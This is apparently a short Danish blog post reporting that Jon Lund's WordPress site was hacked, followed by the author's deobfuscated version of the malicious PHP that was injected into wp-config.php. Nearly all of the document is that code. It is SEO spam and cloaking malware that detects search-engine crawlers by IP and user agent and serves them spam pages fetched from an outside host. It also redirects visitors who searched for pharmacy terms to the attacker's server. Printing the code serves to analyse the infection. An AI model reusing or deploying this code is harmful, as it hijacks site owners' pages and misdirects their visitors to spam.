Jon er blevet hacket

Jon Lunds WordPress site var blevet hacket, og noget ondsindet kode var blevet tilføjet wp-config.php. Den originale kildetekst var obfuskeret, men jeg har her forsøgt at konvertere den til noget læsbart.

@error_reporting(0);
$victim = 'jon-lund';
$spam_target_url = 'http://212.95.54.63/sutra/in.cgi?default&seoref=' . rawurlencode($_SERVER['HTTP_REFERER'])
  . '&parameter=$keyword&se=$se&ur=1&HTTP_REFERER='
  . rawurlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'])
  . '&default_keyword=pharmacy&said=' . rawurlencode($victim);
$spam_base_url = 'http://212.95.54.63/dors/' . $victim . '/';
$spam_links_url = 'http://212.95.54.63/dors/' . $victim . '/!spam_links.txt';
$url_keys = array();
$spam_terms = array('viagra', 'cialis', 'levitra', 'propecia', 'xenical', 'acomplia', 'soma', 'tramadol',
  'ultram', 'valium', 'xanax', 'ativan', 'ambien', 'phentermine', 'prednisone', 'zovirax', 'singulair',
  'zithomax', 'antabuse', 'pharmacy', 'canadian', 'prescription', 'pills', 'carisprodol', 'adipex',
  'accutane', 'doxycycline', 'synthroid', 'celexa', 'levaquin', 'topamax', 'clomid', 'kamagra', 'lasix',
  'amoxil', 'nexium', 'rimonabant', 'tadacip', 'nolvadex', 'zoloft');

// Is the referring page a search engine result page for a search for a spam term?
function is_serp() {
  global $spam_terms;
  if (preg_match('!google|msn|live|altavista|ask|yaho o|aol|cnn|weather|alexa!i', $_SERVER['HTTP_REFERER'])) {
    preg_match('![\?\&]q=([^&]+)|[\?\&]query=([^&]+)|[\?\&]p=([^&]+)|[\?\&]keywords=([^&]+)!i', $_SERVER['HTTP_REFERER'], $matches);
    foreach ($matches as $query) {
      if (!empty($query)) {
        $query = $_19;
        break;
      }
    }
    if (!empty($query)) {
      foreach ($spam_terms as $term) {
        if (strpos(strtolower($query), strtolower($term)) !== false) {
          return true;
        }
      }
    }
  }
  return false;
}


$bot_ip_patterns = array('8\.6\.48\.[0-9]+', '64\.9\.22[4-9]\.[0-9]+', '64\.9\.2[3-5][0-9]\.[0-9]+',
  '64\.68\.8[0-9]\.[0-9]+', '64\.68\.9[0-2]\.[0-9]+', '64\.68\.8[8-9]\.[0-9]+', '64\.68\.9[0-5]\.[0-9]+',
  '64\.208\.32\.[4-9]', '64\.208\.32\.[0-9][0-9]+', '64\.208\.3[2-6].[0-9]+', '64\.208\.37\.[0-9]',
  '64\.208\.37\.[0-9][0-9]', '64\.208\.37\.1[0-6][0-8]', '64\.233\.1[6-8][0-9]\.[0-9]+',
  '64\.233\.19[0-1]\.[0-9]+', '66\.249\.6[4-9]\.[0-9]+', '66\.249\.[7-8][0-9]\.[0-9]+',
  '66\.249\.9[0-5]\.[0-9]+', '66\.249\.[6-9][0-9]\.[0-9]+', '72\.14\.19[2-9]\.[0-9]+',
  '72\.14\.2[0-9][0-9]\.[0-9]+', '74\.125\.[0-9]+\.[0-9]+', '209\.85.12[8-9].[0-9]+', '209\.85.1[3-9][0-9].[0-9]+',
  '209\.85.2[0-9][0-9].[0-9]+', '209\.185\.108\.[0-9]+', '209\.185\.253\.[0-9]+', '216\.33\.229\.16[0-7]',
  '216\.239\.3[2-9]\.[0-9]+', '216\.239\.[4-5][0-9]\.[0-9]+', '216\.239\.6[1-3]\.[0-9]+',
  '65\.5[2-5]\.[0-9]+\.[0-9]+', '131\.107\.[0-9]+\.[0-9]+', '207\.46\.[0-9]+\.[0-9]+', '209\.240\.19[2-9]\.[0-9]+',
  '209\.240\.2[0-1][0-9]\.[0-9]+', '209\.240\.22[0-3]\.[0-9]+', '213\.199\.12[8-9]\.[0-9]+',
  '213\.199\.13[0-9]\.[0-9]+', '213\.199\.14[0-3]\.[0-9]+', '216\.220\.20[8-9]\.[0-9]+',
  '216\.220\.21[0-9]\.[0-9]+', '216\.220\.22[0-3]\.[0-9]+', '8\.12\.144\.[0-255]', '8\.12\.147\.[0-255]',
  '64\.157\.4\.76', '64\.157\.4\.10[4-5]', '67\.195\.[0-9]+\.[0-9]+', '72\.30\.[0-9]+\.[0-9]+',
  '74\.6\.[0-9]+\.[0-9]+', '209\.131\.3[2-9]\.[0-9]+', '209\.131\.[4-5][0-9]\.[0-9]+', '209\.131\.6[1-3]\.[0-9]+',
  '216.145.4[8-9]\.[0-9]+', '216.145.5[0-9]\.[0-9]+', '216.145.6[1-3]\.[0-9]+', '217\.12\.[7-9]\.[0-9]+',
  '217\.12\.1[0-5]\.[0-9]+', '62\.149\.140\.132\.[0-9]+', '63\.83\.186\.[0-9]+', '64\.209\.181\.[0-9]+',
  '64\.111\.206\.170\.[0-9]+', '66\.39\.65\.63\.[0-9]+', '66\.40\.34\.248\.[0-9]+', '82\.146\.52\.158\.[0-9]+',
  '198\.247\.172\.1\.[0-9]+', '198\.247\.172\.2\.[0-9]+', '198\.247\.172\.3\.[0-9]+', '198\.247\.172\.4\.[0-9]+',
  '198\.247\.172\.5\.[0-9]+', '198\.247\.172\.6\.[0-9]+', '198\.247\.172\.8\.[0-9]+', '198\.247\.172\.9\.[0-9]+',
  '198\.247\.172\.10\.[0-9]+', '216\.198\.200\.[0-9]+', '216\.239\.193\.[0-9]+', '38\.[0-9]+\.[0-9]+\.[0-9]+',
  '62\.172\.199\.[0-9]+', '141\.185\.209\.[0-9]+', '169\.207\.238\.[0-9]+', '199\.177\.18\.[0-9]+',
  '203\.255\.234\.[0-9]+', '216\.32\.237\.[0-9]+', '216\.32\.237\.[0-9]+', '216\.32\.237\.[0-9 ]+',
  '216\.32\.237\.[0-9]+', '216\.32\.237\.[0-9]+', '93\.172\.94\.227', '212\.100\.250\.218', '71\.165\.223\.134',
  '24\.200\.208\.112', '64\.69\.34\.134', '65\.33\.87\.94', '65\.93\.62\.242', '66\.230\.175\.124',
  '66\.255\.53\.123', '67\.162\.158\.146', '67\.210\.111\.241', '69\.136\.208\.89', '70\.50\.189\.191',
  '70\.91\.180\.25', '74\.86\.143\.90', '74\.193\.246\.129', '78\.166\.111\.63', '78\.180\.145\.80',
  '81\.135\.175\.70', '83\.15\.211\.166', '89\.122\.224\.230', '89\.149\.217\.191', '89\.149\.253\.169',
  '118\.124\.32\.193', '123\.30\.6\.3', '129\.187\.148\.240', '129\.187\.148\.244', '165\.160\.2\.20',
  '194\.44\.241\.154', '195\.92\.229\.2', '199\.126\.151\.229', '207\.211\.40\.82', '218\.18\.174\.27',
  '218\.28\.88\.99', '213\.144\.15\.38', '62\.27\.59\.[0-9]+', '63\.163\.102\.[0-9]+', '64\.157\.137\.[0-9]+',
  '64\.157\.138\.[0-9]+', '64\.75\.36\.[0-9]+', '66\.163\.170\.[0-9]+', '66\.163\.174\.[0-9]+',
  '66\.196\.101\.[0-9]+', '66\.196\.65\.[0-9]+', '66\.196\.67\.[0-9]+', '66\.196\.72\.[0-9]+',
  '66\.196\.73\.[0-9]+', '66\.196\.74\.[0-9]+', '66\.196\.77\.[0-9]+', '66\.196\.78\.[0-9]+',
  '66\.196\.80\.[0-9]+', '66\.196\.81\.[0-9]+', '66\.196\.90\.[0-9]+', '66\.196\.91\.[0-9]+',
  '66\.196\.92\.[0-9]+', '66\.196\.93\.[0-9]+', '66\.196\.97\.[0-9]+', '66\.196\.99\.[0-9]+',
  '66\.218\.65\.[0-9]+', '66\.218\.70\.[0-9]+', '66\.228\.164\.[0-9]+', '66\.228\.165\.[0-9]+',
  '66\.228\.166\.[0-9]+', '66\.228\.173\.[0-9]+', '66\.228\.182\.[0-9]+', '66\.94\.230\.[0-9]+',
  '66\.94\.232\.[0-9]+', '66\.94\.233\.[0-9]+', '66\.94\.238\.[0-9]+', '68\.142\.195\.[0-9]+',
  '68\.142\.203\.[0-9]+', '68\.142\.211\.[0-9]+', '68\.142\.212\.[0-9]+', '68\.142\.230\.[0-9]+',
  '68\.142\.231\.[0-9]+', '68\.142\.240\.[0-9]+', '68\.142\.246\.[0-9]+', '68\.142\.249\.[0-9]+',
  '68\.142\.250\.[0-9]+', '68\.142\.251\.[0-9]+', '68\.180\.216\.[0-9]+', '68\.180\.250\.[0-9]+',
  '68\.180\.251\.[0-9]+', '69\.147\.79\.[0-9]+', '74\.55\.27\.[0-9]+', '202\.160\.178\.[0-9]+',
  '202\.160\.179\.[0-9]+', '202\.160\.180\.[0-9]+', '202\.160\.181\.[0-9]+', '202\.160\.183\.[0-9]+',
  '202\.160\.185\.[0-9]+', '202\.165\.96\.[0-9]+', '202\.165\.98\.[0-9]+', '202\.165\.99\.[0-9]+',
  '202\.212\.5\.[0-9]+', '202\.46\.19\.[0-9]+', '203\.123\.188\.[0-9]+', '203\.141\.52\.[0-9]+',
  '206\.190\.43\.[0-9]+', '207\.126\.239\.[0-9]+', '209\.1\.12\.[0-9]+', '209\.1\.13\.[0-9]+',
  '209\.1\.32\.[0-9]+', '209\.1\.38\.[0-9]+', '209\.131\.60\.[0-9]+', '209\.185\.122\.[0-9]+',
  '209\.185\.141\.[0-9]+', '209\.185\.143\.[0-9]+', '209\.191\.123\.[0-9]+', '209\.191\.64\.[0-9]+',
  '209\.191\.65\.[0-9]+', '209\.191\.82\.[0-9]+', '209\.191\.83\.[0-9]+', '209\.67\.206\.[0-9]+',
  '209\.73\.176\.[0-9]+', '211\.14\.8\.[0-9]+', '211\.169\.241\.[0-9]+', '213\.216\.143\.[0-9]+',
  '216\.109\.121\.[0-9]+', '216\.109\.126\.[0-9]+', '216\.136\.233\.[0-9]+', '216\.155\.198\.[0-9]+',
  '216\.155\.200\.[0-9]+', '216\.155\.202\.[0-9]+', '216\.155\.204\.[0-9]+', '216\.33\.229\.[0-9]+',
  '174\.129\.130\.[0-9]+', '174\.129\.66\.[0-9]+');

$this_url = 'http://' .$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI'];
$status = array();
$show_debug = stristr($_SERVER['HTTP_USER_AGENT'], 12345);
$status[] = 'start';

class bot_detector {
  var $bot_user_agents = array('google', 'altavista', 'bing', 'yahoo', 'http', 'jeeves', 'msnbot',
    'bot', 'crawl', 'spider', 'robot', 'HttpClient', 'curl', 'PHP', 'Indy Library', 'WordPress', 'charlotte',
    'wwwster', 'Python', 'urllib', 'perl', 'libwww', 'lynx', 'Twiceler', 'rambler', 'yandex', 'ngb', 'slurp',
    'gulliver', 'robozill', 'ultraseek', 'infoseek', 'ask', 'webalta', 'pear', 'teleport', 'ask', 'worm',
    'Speedy', 'scanner', 'scooter', 'lwp', 'HTTrack', 'Accoona', 'CFNetwork', 'wget');

  function is_bot() {
    if ($this->is_bot_ip()) {
      return true;
    }
    if ($this->is_seach_engine_user_agent()) {
      return true;
    }
    return false;
  }

  function is_seach_engine_user_agent() {
    foreach ($this->bot_user_agents as $user_agent) {
      if (stristr($_SERVER['HTTP_USER_AGENT'], $user_agent)) {
        return true;
      }
    }
    return false;
  }
 
  function is_bot_ip() {
    global $bot_ip_patterns;
    foreach ($bot_ip_patterns as $pattern) {
      if (eregi($pattern, $_SERVER['REMOTE_ADDR'])) {
        return true;
      }
    }
    return false;
  }
}

class serp_detector {
  // Is the referring page a search engine result page for a search for a spam term?
  function is_serp() {
    global $spam_terms;
    if (preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing#i',$_SERVER['HTTP_REFERER'])) {
      if (preg_match('#[\?\&](q|p|query|keywords)=([^&]+)#i', $_SERVER['HTTP_REFERER'], $matches)){
        $query = isset($matches[2]) ? $matches[2] : null;
        if (!empty($query)) {
          foreach ($spam_terms as $term) {
            if (stristr($query, $term)!==false) {
              $this->term = $term;
              return true;
            }
          }
        }
      }
    }
    return false;
  }
}

class http_client {
  var $client = 'none';

  function http_client() {
    if (ini_get('allow_url_fopen')) {
      $this->client = 'fgc';
    } elseif (function_exists(curl_init)) {
      $this->client = 'curl';
    }
  }
  
  function fetch($url) {
    if ($this->client== 'none')
      return false;

    $data = @file_get_contents($url);

    if ($this->client == 'curl') {
      $ch = curl_init($url);
      curl_setopt($ch, CURLOPT_TIMEOUT, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      $data = curl_exec($ch);
      curl_close($ch);
    }
    $data = trim($result);
    if ($data == '404') {
      $result = false;
    }
    if ($data == '302') {
      $result = false;
    }
    if (strlen($data) < 200) {
      $result = false;
    }
    if (strpos($data, '212.95.54.63/dors/404.html') >= 1) {
      $result = false;
    }

    return array(
      'success' => (bool)$data,
      'html'    => $data,
      'remote'  => $url,
      'client'  => $this->client);
  }
  
  function get_checksum($url) {
    return md5(str_replace(array('http://', 'https://', 'www.', 'index.php', '/'), '', strtolower($url)));
  }
}

function http_fetch($url) {
  if (ini_get('allow_url_fopen')) {
    return file_get_contents($url);
  } elseif (function_exists('curl_init')) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    return curl_exec($ch);
  }
}

function fetch_spam_links() {
  global $spam_links_url;
  $data = http_fetch($spam_links_url);
  $lines = preg_split('/[\r\n]+/', $data);
  return implode(array_slice($lines, 1, rand(5, 10)));
}

function generate_url_keys(){
  global $url_keys;
  $url_key = 'http://' .$_SERVER['SERVER_NAME'] . 'main/page-';
  $url_key = str_replace('http://', '',$url_key);
  $url_key = str_replace('https://', '',$url_key);
  $url_key = str_replace('www.', '',$url_key);
  $url_key = str_replace('/index.php', '',$url_key);
  $url_key = str_replace('/', '',$url_key);
  for ($i = 100; $i <= 900; $i++) {
    array_push($url_keys, trim($url_key . $i));
  }
}

$bot_detector = new bot_detector();
$serp_detector = new serp_detector();
$exit = false;

if ($serp_detector->is_bot() || (isset($_GET['idioma']) && !$serp_detector->is_serp())) {
  $status[] = "bot detected. try load cloack for page $this_url";

  $http_client = new http_client($spam_base_url);
  $checksum = $http_client->get_checksum($this_url);
  $url = $spam_base_url . $checksum . '.html';
  $result = $http_client->fetch($url);

  $status[] = 'client: ' . $result['client'];
  $status[] = 'remote url: ' . $result['remote'];
  if ($result['success']) {
    $status[] = 'cloack page was loaded';
    if (!$show_debug) { 
      if (strlen($result['html']) > 200) {
        echo $result['html'];
        $exit = true;
      }
    }
  } else {
    $status[] = 'cloack page was NOT loaded';
    if (!isset($_GET['show_nolinks']) && !$show_debug) {
      $spam_links = fetch_spam_links();
      $url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' .$_SERVER['QUERY_STRING'] . '&show_nolinks=1';
      $html = http_fetch($url);
      if (!empty($html)) {
        if (strlen($html) > 200) {
          echo str_replace('</body>', $spam_links .'</body>', $html);
        }
        $exit = true;
      } else {
        $exit = false;
      }
    }
  }
} else {
  $status[] = 'bot NOT detected';
  if ($serp_detector->is_serp()) {
    $status[] = "serp user detected with key: $serp_detector->term";
    if ($show_debug) {
      header('Location: ' . $spam_target_url);
    } else {
      $status[] = "redirect to $spam_target_url";
    }
    $exit = true;
  } else {
    if (is_serp()) {
      print '<html><head><title>Loading</title></head><body>
        <script>
          function wat(sutra,defkey,said){
            window.location=(sutra+"&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword="+defkey+"&said="+said);
          }
          wat("http://212.95.54.63/sutra/in.cgi?default","","");
        </script>
        </body></html>';
      exit();
    }
    $status[] = 'serp user NOT detected';
    $status[] = 'checking virtual folder';
    generate_url_keys();
    $url_key = 'http://' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'];
    $url_key = str_replace('http://', '' ,$url_key);
    $url_key = str_replace('https://', '', $url_key);
    $url_key = str_replace('www.', '', $url_key);
    $url_key = str_replace('/index.php', '', $url_key);
    $url_key = str_replace('/', '', $url_key);
    if (in_array($url_key, $url_keys)) {
      $status[] = 'virtual folder finded';
      $status[] = 'redirect';
      print '<html><head><title>Loading</title></head><body>
        <script>
          function wat(sutra,defkey,said) {
            window.location=(sutra+"&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword="+defkey+"&said="+said);
          }
          wat("http://212.95.54.63/sutra/in.cgi?default", "", "' . $victim . '"");
        </script>
        </body></html>';
      exit();
    }
  }
}

if ($show_debug) {
  if ($exit) {
    $status[] = 'exit';
  } else {
    $status[] = 'show site';
  }
  die(nl2br(join("\n", $status)));
}
if ($exit) {
  die();
}